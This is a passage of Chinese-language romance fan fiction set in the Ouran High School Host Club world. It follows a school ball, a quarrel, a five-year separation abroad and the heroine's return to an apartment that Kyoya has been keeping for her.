被泽田学弟领着进入舞池的我到现在终于体会到其中的含义,轻轻搂在腰间的手小心翼翼的控制着我的身体,合着音乐带着我自然而然的进入人群中央。
顺着旋转的舞步随之翩然绽开的蓝色轻纱裙摆层层叠叠起舞,镶嵌了无数颗碎钻的裙摆在灯光下呈现出波光粼粼的惊人美感,仿佛一片静谧的夜空。
我能够感受到落在我身上的视线逐渐增多,微微张口喘息着的苍白脸颊染上浅浅红晕,忍不住想凤家的妆造团队还真是厉害。
这样的礼服很费时间吧。
没有人能拒绝穿着这样一条裙子在舞池中央起舞,即便跳舞的对象不是那个人,我心中也不可避免升起些许愉悦。
我仰头跟随着泽田纯的动作转了一圈,卷曲的黑发在颊边飞舞,动了动嘴唇。
一直迁就着我动作的泽田眉眼间带着点疑惑凑近了点:“您说什么?”
他好像在我面前总是这个表情,清俊无辜的脸像撒娇的金毛狗。
我是猫犬双全派,看着他额头软软垂落的浅色发丝视线有些蠢蠢欲动,浅笑着配合加大声音:“我说谢谢你。”
“其实泽田君想的什么我都知道。”
他肉眼可见的慌乱,支支吾吾半晌差点跳错舞步:“什……什么?前辈不是你想的那样!”
我听见自己的笑声:“泽田君应该早就看出来我心情不好了吧,所以才不放心陪着我,总之还是谢谢你。”
泽田纯的表情顿了一下。
似乎有些隐约失落。
那缕低落的情绪像是我的错觉,他松开我的腰牵引着我的手让我转了一圈,眼神亮晶晶。
“那前辈现在心情好点了吗?”
他垂着头离的很近,眼神很认真。
我点点头,能感觉自己是在笑着:“被这么关照怎么可能不开心,多亏了泽田君。”
在这个学校除了凤镜夜之外, 我终于也交到了另一个朋友。
音乐和周围的交谈声中似乎夹杂着陡然升高的兴奋议论。
我朝那边看了一眼,身高受限,被密集人群遮挡的视线什么都没看到。
我收回目光,把凤镜夜抛在脑后,期待的问:“我们现在算是朋友了吗?”
泽田纯毫不犹豫的点头,柔软的发丝飘动:“当然了前辈。”
真好。
我的舞步不太熟练, 最后一曲的节奏有点快,到此时我已经有点累了,但还是努力跟上他。
毕竟泽田纯是我在这里交到的除了男公关部之外的第一个朋友。
希望我们对今天的印象都不会太糟糕。
他似乎看出我的勉强带着我往舞池旁边移动,同时也慢了下来,这样一来我们慢一拍的组合倒是变得更加显眼了。
我忍不住想要去看别的地方,被泽田捏了捏手。
“没关系的前辈,舞池旁边有很多放慢速度的情侣,过不了多久就结束了。”
我看着他点点头。
没说出来我向后看的原因。
……总觉得刚才好像有人在看我。
不同于泽田礼貌的欣赏以及其他人对漂亮裙子的赞叹,那道目光更加具有穿透性,凌厉地几乎要将我射穿。
错觉吧。
这里可是樱兰,应该不会有奇怪的家伙混进来。
我忽然想到在地下停车场遇到的黑衣人,又有点不确定了,应该是安全的……吧。
从追回须王环后就一直沉浸在开心当中的藤冈春绯后知后觉的发现凤镜夜的不对劲。
她仰着头,深棕色的大眼睛在平静时带着能够看透人心的纯然:“镜夜前辈不开心吗?”
凤镜夜一怔,带着点被看穿的狼狈,沉默了一会儿:“……很明显吗?”
他带着春绯避开差点撞上的人群,黑眸中复杂的情绪尽数敛去,若无其事的扬唇:“我答应了她今天和她跳一支舞,但我失约了。”
她会生气吗?
藤原春绯看着他的脸,表情严肃起来,直接说:“既然答应了小一,前辈怎么能放着她不管!”
她松开凤镜夜的手向后退了一步,踉跄了一下却仍然避开他递过来的手。
“比起我,镜夜前辈应该多考虑一下小一的心情,她今天见不到你一定很难过,最后一支舞快要结束了前辈快去找她吧。”
凤镜夜看着少女堪称严厉的表情,心头涌上一股做错事的后悔,冷色的脸庞轻点,目光倏然停在她带着红晕的脸上。
“等等,春绯你不舒服吗?”
春绯皱眉摸了摸额头:“昨天开始就有点头晕,不重要,环前辈会来找我,镜夜前辈你快走吧。”
凤镜夜握着她的手腕避开人群朝舞池边缘走去,一手拿着手机:“我通知环他们,先把你送出去我就去找小一。”
“……嗯。”
春绯摸着晕乎乎的脑袋,跟在不自觉加快脚步的凤镜夜身后,余光倏然划过一片亮晶晶的蓝色裙摆。
下意识朝那边望去。
她惊喜地睁大有些模糊的眼睛,反手拉了拉凤镜夜:“哇啊,在那里!”
“今天小一好漂亮啊!”
凤镜夜没有回答,只是加快的脚步倏然一顿。
藤冈春绯捂着撞上的鼻子仰头看去,只能看到凤镜夜一片冷然的侧脸,向来平静地的凤眸却燃着火焰。
她愣住了,被拉着朝那边走去的时候,还在茫然。
原来镜夜前辈也会有愤怒、嫉妒这样不冷静的时候吗?
“可是为什么会这么生气?”
凤镜夜的步子很快,舞池边缘在他难看的脸色下分出一条道路,春绯甩不开他的手只好尽力跟上。
她有点担心小一,以镜夜前辈现在的状态还能好好沟通吗?
她得跟上去,不能让小一受委屈。
伴随着钢琴曲逐渐压低的声音,我最后在泽田纯有力的手臂带领下腰肢向后轻仰。
乐声平静后带来一种兴奋后的茫然。
我胸口起伏着想要站直身体。
泽田纯此时稍稍压低身体靠近,好像有什么话想要说。
“前辈,过几天我就要阿美莉卡留学了,你要跟我一起走吗?”
我微微一愣,还以为他在开玩笑,拍了拍他的肩膀站直身体。
“不,我目前还没有出国的计划,不过我认识同样去那边留学的学姐哦,可以介绍给你。”
他有些失望,不过还是笑着答应:“在那边没什么认识的人呢,我会经常联系前辈的。”
舞会结束之后舞池的人群逐渐散开。
我们周边经过的人倒是越来越多,我示意他去旁边说话,他眼前一亮绅士的为我隔开人群。
压抑着情绪的声音忽然插入:“你要带着我的妻子去哪?”
另一道带着轻嘲的音色同时响起:“镜夜大人今天连一支舞都没和你跳反而和那个藤冈春绯一起,他对你肯定只是玩玩而已,你有什么好骄傲的。”
话音落下,这片空间的空气也倏然安静下来。
我停住脚步,消化着忽然窜入耳朵的两句话,茫然地表情在看到凤镜夜和山田美子时渐渐的归于平静。
在泽田纯担忧地目光中轻轻抽出被牵住的手指,朝他露出抱歉的表情:“看来今天不是谈话的时候,这不关你的事,泽田你先走吧。”
此时广场中的人还没走完,听到他们声音很多,迫于凤镜夜在场不能光明正大的看热闹,但驻足在附近的人不少。
我与泽田纯对视,此时庆幸不做表情大概对自己来说毫不费力,还能够在看到失约的凤镜夜和春绯一起出现时维持体面。
嫉妒朋友的表情一定很丑陋,我有点庆幸。
我好像看到凤家主身边人的脸了,他在的话,这里发生的事说不定很快就能传入家主耳中了。
我扫过凤镜夜有些僵硬地表情,抬眸对上山田美子的视线,修剪整齐的指尖轻而易举的刺入掌心。
我听见自己出乎意料冷静地声音。
“如果山田小姐想要挑拨我们的关系可以拿出些切实的证据,以免像现在一样只能以嗓音取胜,或许这是您的习惯?”
山田美子也没想到会引来这么多人,而黑川一被戳穿那层虚荣的假面还能这么镇定。
她迅速组织语言:“你……”
我利落地打断她的话:“众所周知春绯是镜夜同一个社团的要好朋友,只是跳一支舞而已,难道山田小姐将来的丈夫连这样基本的社交礼仪都不能有吗?”
“而我身边这位是泽田医药的继承人,如果山田小姐不清楚凤家是做什么的话,可以回去后向您父亲请教。”
我转身离开舞池:“我没义务在这里为你补习严重偏科的常识。”
山田美子张了张嘴,阴沉着开口:“藤原可是女生,一个女生竟然混进男公关部还和他们关系这么好,今天晚上镜夜大人在和她跳舞,我可是看得清清楚楚连你都排不上号吧。”
黑发少女的背影顿了顿。
山田美子嘴角上扬,凤家又怎么样,他们山田家也不差,这样的家族要是传出丑闻,医疗市场必然会出现空隙,那就是他们的机会。
只要能达成目的,她做的这些又能算什么呢。
她扬了扬下巴,带着胜利者的从容:“就连你这种私生女都能嫁给他,你就没有想过……”
“够了。”
阴沉到极点的嗓音压迫着出现。
一道阴影投射到她身上,山田美子脊背僵了僵,对上凤镜夜的眼睛后鼓起的勇气瞬间被戳破,神情惊恐的后退一步。
凤镜夜居高临下的看着她,声音冰冷:“山田小姐,我会和你的父亲谈一谈关于你公然侮辱我的妻子的事情。”
“让我猜猜,山田制造最近不太平吧。”
他眼镜闪过一道锐利的白芒,转身朝黑发少女离开的方向追去,一个多余的眼神都没再给她。
山田美子抱着肩膀忽然有些发冷,她做错了吗?
不,她按照父亲的吩咐找到了凤镜夜的破绽,她没错!
春绯惊愕地看着事件发展。
第一次切身实地的感受到她身边的同学家世都不一般的事实,她复杂的看了眼山田美子,担忧的望着小一消失的方向。
她不会感觉错的。
小一那个眼神,她的眼睛在哭。
今天的舞会一定对她有特别的意义,是我搞砸了一切。
藤冈春绯自责的握紧拳头。
“春绯!”
须王环赶过来带着她离开,在经过山田美子的时候脚步一顿,紫眸少见的降下了温度。
“山田小姐,恕我不能接受一个冒犯了朋友的客人。”
他话中似乎别有意味,让山田美子脸色发白。
跟在他身边的几大家族继承人同样投以冷漠的眼神,终于击溃了她的心理防线,崩溃的奔离现场。
我穿着这身衣服不方便搭车,还好古川先生还等在校门外,我关上车门隔绝了所有视线,半晌,呼出一口气。
“可以先送我回去吗?我忽然想起来有点事。”
古川先生收回担忧地视线,没多问就启动了车辆:“没问题,会有人来接镜夜少爷。”
听到他的名字,我下意识捏着指尖的力道紧了紧,低低地应了一声:“嗯。”
车厢里安静下来。
只剩下我胸腔里不断翻腾的难过和失望在互相对峙。
镜夜失约了。
他在和春绯跳舞这件事沉沉的压在我心头,让我有点喘不过气。
我打开车窗任风吹在我脸上。
十分钟后揪成一团的情绪终于稍微松解。
我试图自洽。
首先这是任务,其次凤镜夜不可能和春绯在一起。
……但他失约了。
然后这是任务,再次凤镜夜刚才生气了应该不是对我没有感觉。
但他不仅失约了还和春绯跳了第一支舞。
……这是任务,最后凤镜夜是个信守承诺的人,他不会违背我们的婚约。
而且第一支舞的约定是我口头说的,也许不够郑重没有引起他的重视。
我吹着风在古川先生担忧的目光中揉了揉脸:“呼,这下好多了。”
才怪。
完全和解不了啊!
反而越想越烦。
我揪着裙子上的碎钻,在今天的不断期待和失望中抽离,开始近乎冷漠的审视我们的关系。
前辈曾经说过的话忽然出现在脑海:“人是比不过白月光的,那不仅仅是一个人,还是一段美好的时光和记忆。”
我跟着记忆喃喃自语:“……能够战胜它的只有时间,再浓的感情在无望之后也会随着时间流逝,或是另一段更加美好浓烈的记忆。”
我立即生出一个念头。
并且越想越发觉得这个主意不错。
黑川一:可以帮我一个忙吗?店长。
我在对面迅速干脆的回复中关上手机,打开公寓的大门走了进去,从衣柜里拖出一个老旧的酒红色行李箱。
简单的收拾了几件当季的衣服,重点带上各种常用生活用品,最后把室内拖鞋也塞了进去。
我满意拍拍手,拖着行李箱走了出去。
去留学吧。
等到合适的时机再回来。
我拖着行李箱下转过长廊,一道气喘吁吁的黑影忽然冲了过来,大手紧紧抓住我的行李箱。
他明亮的凤眸终于出现了慌乱的情绪:“小一!”
“你要去哪?”
我注视着他的眼睛,对我的计划越发满意,他心里是有我的。
但比不过春绯和那些人的重量。
我慢吞吞的说:“我觉得我们都该冷静一下镜夜。”
“我想要出国,你会等我吗?”
他神色不解又慌乱,最终重重的将我搂紧:“为什么要走,今天的事我可以解释!”
我被迫紧紧贴着他的身体,侧脸贴在他胸口,听着他慌乱的心跳,平静地说:“但是镜夜。”
“我违背了我们的协议,不由自主的开始渴求更多,但这很贪心。在你心里春绯和男公关部的大家都有很重的地位,其他人很难在其中占有更多位置。”
他打断我,双臂压得我后背发痛。
“不,关于这点我也是一样的,我以为我们早就已经说好了,会在今天重新开始,我……”
他顿了顿,发现说出真实的心意比想象中容易:“我喜欢你。”
我轻笑一声,感受到他身体紧张得僵住:“我知道。”
我用了点力气推开他,带着箱子避开他的手,那只手停顿在半空最终落下。
他避开了与我对视的眼睛。
我希望他能等我,自然解释得认真:“但是今天出了意外。”
他把手搭在栏杆上逐渐收紧,手背的青筋和骨节暴突:“我们还有很长时间,错过了今天我可以重新开始。”
我摇摇头,提着行李箱下了一节楼梯与他对视。
“就是因为要在一起,所以才要离开。”
“镜夜,我很贪心,如果让我乖乖占据你心里一小块位置来与你生活在一起,我可能会比更先一步厌倦。”
他黑漆漆的瞳孔缩了缩,额角又青筋跳动,神情不知所措中带着痛苦,他还不清楚造成这样浓烈情绪的原因。
“我不能接受在你心里排在那么落后的位置。”
我抬手按上他的胸口,一滴温热的水滴落在我的手背,微微一笑:“等我们都做好准备的时候再见吧。”
他沉默下来。
我再次询问:“你可以等我吗?”
他垂着头声音沙哑:“……我要是拒绝呢?”
我叹了口气,眼中闪过失望,收回手拿着行李箱继续往下走:“那我先去别的地方冷静几天,现在我还不想看见你。”
“等等。”
被她失望地目光扫过,凤镜夜心里一紧,明明她不走了,却让他更加慌乱。
他不顾形象的跳下楼梯,箍住她的腰,声音闷闷的压抑着喉咙深处同样蔓延开来的痛意,声音很低。
“我答应了。”
第84章
海浪声带着涌动不停的潮流不断拍打在金黄的沙滩上。
翅膀纤长的鸟儿跟随浪潮的声音鸣叫着冲向水面,须臾又叼着活蹦乱跳的海鱼再次升空。
我躺在沙滩椅上脸上挂着大大的墨镜,一动不动的享受360度海浪声ASMR ,捏着气泡酒的手指在椅子边缘摇摇欲坠。
温暖又不灼热的阳光熨烫在身上,我吸了口气泡酒慢悠悠吐了口气:“这才是人该过的生活啊。”
旁边传来一声嗤笑。
一头金发的美人手里拎着两颗椰子走过来,闻言扔了一颗到她身上,在她身边躺下。
“之前让你出来你不出来, 你仔细数数这几年你都放了我多少次鸽子?”
我险险抱住椰子,气泡酒被她拿走,我就着椰子上的吸管吸了口清甜的汁水,墨镜下的眼睛眯了眯。
“那不是因为我还有作业没做完吗?我也没想到随便挑选的导师会这么严格,昨天凌晨三点我才赶完开题报告不就来找你了。”
伊藤爱丽丝眼神飘了飘轻咳一声转移话题,指着两人身后热闹非凡的咖啡店:“我这几年创业做的不错,老爸终于同意我可以做下去了。”
“最近我要回日本一趟, 你也好久没回去了吧,要跟我一起走吗?”
说到这个我嘴里的椰子顿时有点发苦, 手指熟练地打开聊天软件点开最上面的聊天框, 里面的消息还停留在三天前。
这三天都在忙着学校里的事,没有回复凤镜夜的消息,我有点心虚。
“我正在犹豫这件事, 春绯和须王下个月在国内订婚, 他们邀请我了。”
伊藤爱丽丝事业处于上升期正是愉悦的时候, 不介意为她的小股东做一下感情指导,坐直身体:“那不是很好吗?”
她看着黑川一在沙滩椅上半死不活的样子啧了一声,恨铁不成钢的凑过去拉开她的墨镜:“那位不是天天一日三餐给你发消息,每天分享生活恨不得把自己全都扒拉摊开在你面前了。”
“我看你也不是真的想要和他分开,现在也差不多是时候了吧。”
我心里烦乱,干脆鼓着腮帮子一口气把椰子喝空,有些犹豫,但又实在想找人倾诉。
我双手撑着腿间身体前倾看向她:“但是我有点担心。”
我顿了一下,警觉地看着她:“先说好我说了你准不笑我。”
“店长。”
伊藤爱丽丝见她终于要吐露心声,连忙正经脸点点头:“你说,我保证不会嘲笑你。”
咸咸的海风吹在身上,我裹紧披在身上的衬衫,吞吞吐吐的说:“倒不是别的原因,你说我都离开五年了对吧。”
沉迷学业无法自拔.jpg
“本来也没打算这么长时间不回去,结果计划赶不上变化。”
伊藤爱丽丝想到凤镜夜几年前冷冰冰的眼神,冷静地将她为小一介绍导师这件事压在最深处,眼神怜惜的看着她眼下的黑眼圈:“嗯嗯然后呢。”
“这些年镜夜除了最开始那段时间。一直都没有和我断开联系超过一天,每天都有很多消息分享他的生活,虽然不让他来找我但隔三差五就会收到他觉得有意思的小礼物……”
我回忆着有些难以启齿:“但是这次,自从我赶开题报告忙昏头没回他消息之后,他已经三天没有给我发消息了。”
我眼巴巴的看着她:“你说他不会是不想等我了吧。”
毕竟那可是五年啊。
伊藤爱丽丝被突如其来的狗粮哽住,听过她的烦恼过后沉默下来,随后恶狠狠的从椅子上跳下来,噔噔噔来到她身边掌心挤压她的脸。
我被迫抬头口齿不清的说了句话。
她眼里燃着一簇火焰:“你问我要干什么?对一个刚告白失败的人说你的甜蜜日常是不是太不道德了?”
我急忙打断她:“我没有!”
“我问了相熟的朋友,他们都说镜夜没事,但他就连我的电话也不接!”
“这么想知道的话你就直接去找他确认啊笨蛋!”
我怔住。
远在美国几百公里开外,发生了相似的对话。
“这三天的消息都落下了。说好的礼物也没有及时送过去,派去的人也没找到她的行踪,你说她是不是终于决定结束了。”
毕竟已经五年了。
前三年是明确拒绝见面,后面连这样的问题都不会回答。
她一直在等他妥协吧。
欧式风格的宽大卧室,除了可怜兮兮靠在墙边的巨大实木双人床之外,还摆放了两张宽大的工作台。
一张桌子上放了一堆文件和电脑,格外简洁。
另一张却走向另一个极端,堆满了与这个房间清冷色调不同的可爱摆件以及包装材料,用来手写贺卡的墨水和纸张更是琳琅满目。
说话的年轻男人站在床边,因为身材消瘦而显得更加挺拔纤长,骨节分明的手指扣着衬衫,那张脸随着系到领口的手微微仰起,冷白色泽下越发成熟俊美的脸露了出来。
他淡色的薄唇还带着不明显的干裂,显得整个人有些虚弱,但是只要和那双深黑冰冷,总是压抑着什么的凤眸对上,就会知道那只是表象。
那是一个在病中仍然能狠狠撕扯下对手血肉的恶鬼。
因为老板生病才有机会进入这间房间的助理被他扫了一眼,心中打探的想法就迅速消弭,带着需要的文件被什么追着一样快步走了出去。
把空间让给老板和那位金发男人。
须王环也是第一次看到那张和凤镜夜不相符,又确实的充满了他心意的台面,面色严肃的拦住他:“人我会帮你找,但你现在最重要的是去医院,你这样下去不行。”
“啪!”
他的手被甩开。
凤镜夜漆黑的瞳孔动了动,才转头看向最好的朋友,那双眼睛在过浅的肤色下更加摄人:“你也认为我生病了?”
“我没病,也不可能有病,小一已经开始动摇了,要是知道我生病了……”
她不要我了怎么办?
须王环接上他的话:“她会自责的!离开的这几年你一直在联系她吧,结果你自己变成这样你让她怎么想!”
凤镜夜眼底深处却微微一动,手指按了按有些发痛的额头轻笑一声:“那不是更好。”
须王环惊愕地看着他:“你说什么?”
他恢复了平静:“那就更要瞒好她了,我不想让她难过。”
凤镜夜在床上躺了三天,起来后看都没看搁置了许久的工作,朝另一个桌子走去,抽出一张带着淡淡香气的贺卡在上面落笔。
礼物是一捧他亲手栽种悉心培养,又在刚刚被剪下,花叶仍缀着露珠的鸢尾花。
须王环疲惫的看着他衬衫下清瘦的脊背,眉头紧锁,动了动鼻子将目光落在那张卡片上。
鸢尾、肉桂、再加上淡淡的玫瑰香气。
很熟悉。
他最近在忙订婚的事情,时间实在不够用,在不断催促的铃声中朝外走去:“我说的是你考虑考虑,我晚上再来看你。”
“镜夜,你要对小一多点信心。”
背对着他执笔的手顿了顿在贺卡上落下一滴突兀的墨点。
轻描淡写又饱含情意精心制作而出的贺卡被那只大手揉碎扔了出去。
“……我很有信心。”
他在精心准备的贺卡上写下斟酌了许久的话语,期待着他们能见一面。
须王环离开别墅路过露天泳池的时候忽然嗅到了一缕熟悉的香气,视线在泳池周围寻找,最终落在冲洗区私人调配香气的沐浴液上。
他茫然一瞬:“这么喜欢这个味道吗?竟然连送给小一的贺卡上染了这道香。”
我和店长沟通过后,终于抛下随着时间滋长的犹犹豫豫,定下了第二天回国的机票。
清晨。
在没有闹钟的情况下我第一次醒得这么早,迅速收拾好自己提着昨天准备好的行李出门,踏出卧室之前顿了一下。
我倒退一步,对着镜子取下脖颈间的项链,将那枚带着胸口体温的指环套在手上。
我看着镜子里的自己,为自己打气。
伊藤爱丽丝的声音从楼下传来:“小一,快下来吃早餐!”
我拖着行李下楼,兴许是对回国之旅充满期待,不管是大脑还是身体都兴奋得不行。
“我有点吃不下。”
我朝她笑了笑:“等会让去吃飞机餐好了。”
伊藤爱丽丝收回不赞同的目光,优雅的喝了口咖啡,看着急急忙忙一扫疲惫的黑川一,小声嘀咕:“这么期待还能等这么久,真是能忍。”
不懂这些情侣,不对,是夫妻。
没有帅哥在国内等她,伊藤爱丽丝订了过两天的票,懒洋洋的朝她的背影说:“加油~今天天蝎座的幸运物是紫色花束哦,建议你买一束。”
匆匆离开的背影没过一会儿又跑了回来。
那双雾蒙蒙的眼睛还是第一次这么亮。
“你有吗店长!”
“……我从哪里给你弄花,除非你能等我一会儿,我让人送来。”
那双眼睛里的光芒迅速暗下去:“我走了。”
前后态度让伊藤爱丽丝咬牙。
“这家伙!”
她吃完早餐,准备享受难得的休假,伸了个懒腰往外走。
“叮咚。”
伊藤爱丽丝打开门:“怎么又回来了?”
一束仿佛从枝头摘下的鸢尾花出现在眼前,花束中放着一枚眼熟的卡片。
她神情一顿,夺过花束,不顾快递员惊恐的眼神穿着室内拖鞋冲了出去,朝车辆逐渐驶离的方向举着花大喊。
“你的幸运来啦!”
第85章
不大不小的乐声如流水般环绕在灯光暗淡的空间,一条溪流伴着青苔与堆石蜿蜒着从整个空间的正中央划过,涓涓水流是另一重乐章,空气中氤氲着自然的气息。
围绕着溪流星星点点向亮着一盏盏晕黄的灯,仔细看去竟然是一个个小巧的卡座。
靠近落地窗用细竹与飘荡丝绢隔开目光的位置,身穿墨绿色旗袍的婉约女子眉眼含笑从其中走出,身后跟着的少女手中稳稳地端着托盘。
透过被掀开的丝绢,一道修竹般的身影独自靠坐在窗边,他的手就这样落在膝头,双目平静的望着桌上的一株花朵。
毫无疑问就算没有看清他的脸,那人的眼神也绝对是带着温柔期待的笑意。
即便他的对面空无一人。
“嘶~好帅,他都在这里等了两个小时了,是不是被放鸽子了。”
面容精致的少女偷偷朝被重新挡在单薄丝绢后的人影望去,眼神跃跃欲试:“我现在去搭的话……”
坐在她对面的同伴无情的戳穿:“死心吧,这人是这家店的常客了,你以为她们都不想吗?喏前座的小姐还带着新男友过来看他呢。”
少女无言片刻, 不甘心又茫然:“她……都有男朋友了……还看?”
同伴拍了拍她的肩膀, 以一种过来人的语气说:“是这样的,没人说不能来饱饱眼福, 这样的美色下饭也是极好的。”
“……”
少女还是不甘心往里面看了好几眼,期待着那人在她离开之前从里面出来,她就去要联系方式。
可直到用餐完毕那边的卡座都没有动静,甚至隐隐约约倒映出来的人影都没动过。
精致少女叹了口气,在同伴的安慰下恹恹地走了,一步三回头的样子让她的同伴恨铁不成钢。
忽然少女的眼神亮了起来, 紧张的攥住了同伴的手,同伴若有所觉的回头。
一道人影从那个卡座里走了出来。
他的步伐十分从容,行走的时候微挑的凤眸微微下垂, 对周围好奇惊艳的目光无动于衷又好似习惯。
黑色西装穿在他身上似乎大了些显得有些空荡与对亚洲人来说过于浅淡的皮肤想比,呈现出另一种病态的美感。
同伴听到精致少女小小的吸了口气,掐着自己的手用力得有些发疼。
她动了动唇角想开玩笑说些“去搭讪啊”什么的活跃气氛,不小心对上了男人的眼睛,骤然落入了一片冰凉幽深的湖水当中。
再也说不出什么话,直到他走远,她才活过来似的喘了几口气和精致少女对视一眼,都从对方眼中看到了庆幸。
还好刚才没有去搭讪。
还好刚才没有怂恿她去搭讪。
那人的眼睛即便在与她们对视,其中却倒影不出她们的身影,好像她们只是路边的花花草草,又像是本该出现在这里的装饰品。
精致少女扁扁嘴,拽着她走了:“已经不是气势的问题了,他怎么感觉怪怪的,可能是病了吧。”
同伴:“你看到他手上的戒指了吗?他居然已经结婚了,真的很难想象他这样的人是怎么和妻子相处的。”
气势太强且丝毫不收敛看人如看狗的眼神,当他的妻子一定很辛苦。
“哈秋!哈秋!”
我拿下遮掩鼻子的手帕,皱了皱鼻子:“飞机上受凉了吗?”
我拉着行李箱穿过人群,走向计程车,这次回来我没有通知任何人,也没打算让人来接机。
报了小公寓的地址之后,我打开了从刚开始就响个不停的手机,粉色哈基米头像后面显示着鲜红的99+ ,最后一句话是一串感叹号。
店长?
我犹豫了一下,视线却落在另一个纯黑头像上,许久没有出现的凤镜夜竟然给我发了消息!
我毫不犹豫的点进了对话框。
镜夜:你那边今天的天气很好,正好开了一束花,希望能沾染同样的幸运。
镜夜:[图]
配图是暗色环境下一只透着青紫血管纹理的手,纤长的手指拿着一支开得很漂亮的鸢尾花。
没有解释前面消失的事情,也没有准备这段时间我为什么也没有联系他,只是简简单单像什么都没有发生一样发出消息。
我手指在键盘上删删打打,面色复杂,不知道该不该高兴。
最终慢吞吞的退了出去,点开店长发来的消息,手指往上翻,在一连串惊叹和问号之后终于找到了一句话。
店长:你不知道我为你付出了多少,差点被三个邻居同时投诉扰民!
我手指一顿,更好奇了,干脆直接翻到顶端的看第一条消息。
司机听到后座传来啪嗒一声,微微转头:“小姑娘看手机小心点,好多人手机掉座位底下去还要我下车钻过去找。”
话说了一半,忽然发现她眼眶微红,脸上却带着笑,顿时闭了嘴。
他踩下油门加快了车速,微微摇头,现在的年轻人谈恋爱,真是咋咋呼呼的。
我连忙把手机从座位底下掏出来,点开店长发来的图片。
那是一束的非常漂亮的鸢尾花,能够看出照顾它的主人十分精细,就连每一片叶子都被精心打理过。
我又打开凤镜夜发来的图片,放大看了半晌,十分笃定那支单独的鸢尾花是从花束里单独抽出来的。
花束这种礼物他不是第一次送,一开始的花束还能看出手工的痕迹,到后面两年不论是包装还是其中的插花手法都漂亮得像艺术品,能够在她的房间呆好久。
直到蔫下去,她才会将花束换掉,因为这时候一定会接收到一束新的来替换。
比起那些精致的花束,送来的这束有一个小缺口。
“这就是想要分享幸运的方法吗?”
我轻笑着滑到下一张写着熟悉字体的卡片上,视线忽然定格在最后一行字,眼睛逐渐睁大。
他邀请我见面!
可现在我已经在霓虹,约定的时间就算我转身再乘上飞机回去也来不及了。
我算了算时间:“已经过了三个小时,他应该已经走了吧,不对,没有收到我答复的消息他应该不会去等吧。”
这样想着我还是拨了他的电话。
出乎意料的是拨出去不到两秒对面就接通了,我猝不及防和许久没有电话更别说见面的人接通电话,一时间有点不知道说什么。
对面也很安静,我好像听到了若有似无的音乐和水声,清浅的呼吸透过电话传出,就连沉默都牵扯出丝丝暧昧。
不知怎么的,我好像能感觉到对面在紧张。
凤镜夜居然也会紧张?
被这个想法逗笑,我放松下来主动开口:“镜夜?抱歉我今天回霓虹了,没有收到你的花束,没能来赴约,抱歉。”
对面安静了一会儿。
“不用抱歉。”
我听到椅子被拉开的声音,迟疑:“你不会刚刚还在等我吧?”
对面隐约传来走动带起的风声与离得很远的人声,直到那些声音都消失,凤镜夜才答道:“没有很久。”
不等我愧疚,他自然而然的转移话题:“这次回去是为了环和春绯订婚?”
我捏着手机贴在耳边,下意识看了司机一眼,手指有一搭没一搭的揉搓着衣角,放低了声音:“嗯。”
我清了清嗓子:“我们也很久没见了,我想……是时候了对吧。”
“你什么时候回来。”
我手指搭上司机座椅靠背上亮晶晶的装饰。对面似乎轻笑了一声,我仔细听又只听到他平和的呼吸音,然后是他冷静的声音。
“我现在申请航班,明天早上一起吃早餐?”
我从接通电话开始就憋着的一股气松懈下来,从后视镜里看到我柔和期待的眉眼以及司机大叔欣慰的眼神,我呼吸一滞,脸颊开始升温。
匆忙的答了一句之后就挂了电话。
我提着行李箱,给司机先生转了车费和小费,转身迅速离开。
“诶等等!”
我只得转身,看向司机大叔手里的东西眼神逐渐尴尬,后知后觉的打开左手掌心,一堆和靠垫上同样材质的塑料片在太阳下闪闪发亮。
“非常不好意思!我给您赔偿请一定收下!”
司机熟练又仔细的接过塑料片,原地开始拿出工具粘贴,头也不抬:“没事没事,我都习惯了。”
习惯了……?
“自从女儿给我做了这个,每隔两天我就要修复一趟,看,熟练得很!”
我默然。
怪不得这辆车内饰这么充满……匠人精神,就冲里面能闪瞎人眼的数量,司机大叔的女儿以后必成大器。
我蹲下来和他一起粘。
被挂断电话的凤镜夜柔和的眉眼再次冷淡下来,看得助理目瞪口呆,老板这变脸也太快了吧。
也不知道他和夫人什么时候能相见,再异地下去他们老板夫人现代牛郎织女的故事就要传到隔壁公司了啊!
凤镜夜吩咐好接下来的工作安排,定好出发时间,忽然身体一顿看向助理。
助理立正站好满脸紧张,就听见他老板说:“我让你定时清理的那间公寓……”
助理挺了挺胸,骄傲:“老板很重视那里,我安排了信得过的人,每天打理保持随时能入住的状态,您的东西都好好放着呢!”
“……”
助理挺起的胸缓缓缩了回去,他好像看到老板脸上好像有点心虚?
第86章
狭窄昏暗的楼道,头顶明暗不定的灯光,以及看着就非常有年代感的门——我到家啦!
许久不见家里还保持着离去时的模样真是太好了,
我松开行李箱,在包里翻找钥匙,心情不错的哼着歌。
“有了, 是这个。”
“咔。”
老旧的防盗门打开时丝滑顺畅,没有记忆中卡顿的嘎吱声,门后所有的一切都似乎维持着我离去时的模样。
……但好像有哪里不太对劲。
我提着行李箱走了进去,门口摆着一大一小两双拖鞋,我下意识换上小的那双打量着走了进去。
指尖擦过桌面和墙角开关。
很干净。
就连空气中都是浅淡的香气。
我环顾了一圈视线落在紧闭的卧室门,屏住呼吸,抬脚靠近,一手已经按上了紧急联系人按键。
手指压在把手上稍稍用力, 深棕色的门板悄无声息的打开,朝我展示其中的景象。
窗帘被拉上, 从走廊洒进去的些许灯光只照亮了我的脚下, 只能看出不大的房间里似乎有些拥挤。
我脸上轻松的神色褪去,啪的一下打开了灯。
床头从未见过却十分眼熟的猫咪玩偶朝我咧着小猫嘴。
床上铺陈着深色的床品,从品质来说至少可以排除有流浪汉偷偷潜进来生活的可能,靠着窗的书桌上多了一个书架以及电脑,桌角的花瓶里插着一支百合。
好像这个房间的主人才离开不久,随时会打开门回来,然后惊讶的看着我这个不速之客。
我用力晃了晃脑袋, 把突然冒出来的各种诡异故事都扔出去, 我茫然的退出自己的房间。
可多出来的东西是怎么回事,那看起来就非常昂贵的床品也很陌生啊!
等等,说到昂贵, 我忽然生出一个想法。
手机忽然震了一下。
我拉开餐桌的板凳坐了下来,视线扫过桌上两支一模一样的马克杯,在自己家里平白生出了点拘谨。
我怀着莫名的心情打开对话框,看到对面漆黑头像后的一行字。
镜夜:公寓我有让人按时清理,回去后好好休息。
镜夜:对了,我在公寓放了点我的东西……你不介意吧?
没什么奇奇怪怪的人来过就行。
我实在是困得不行,草草回复之后,连行李都没来得及收拾就躺进了软乎乎的被子里。
一夜无梦。
我起床的时候天色还早,迅速梳洗完毕之后,蹲在行李箱前翻翻找找。
半晌,我无言的收回手。
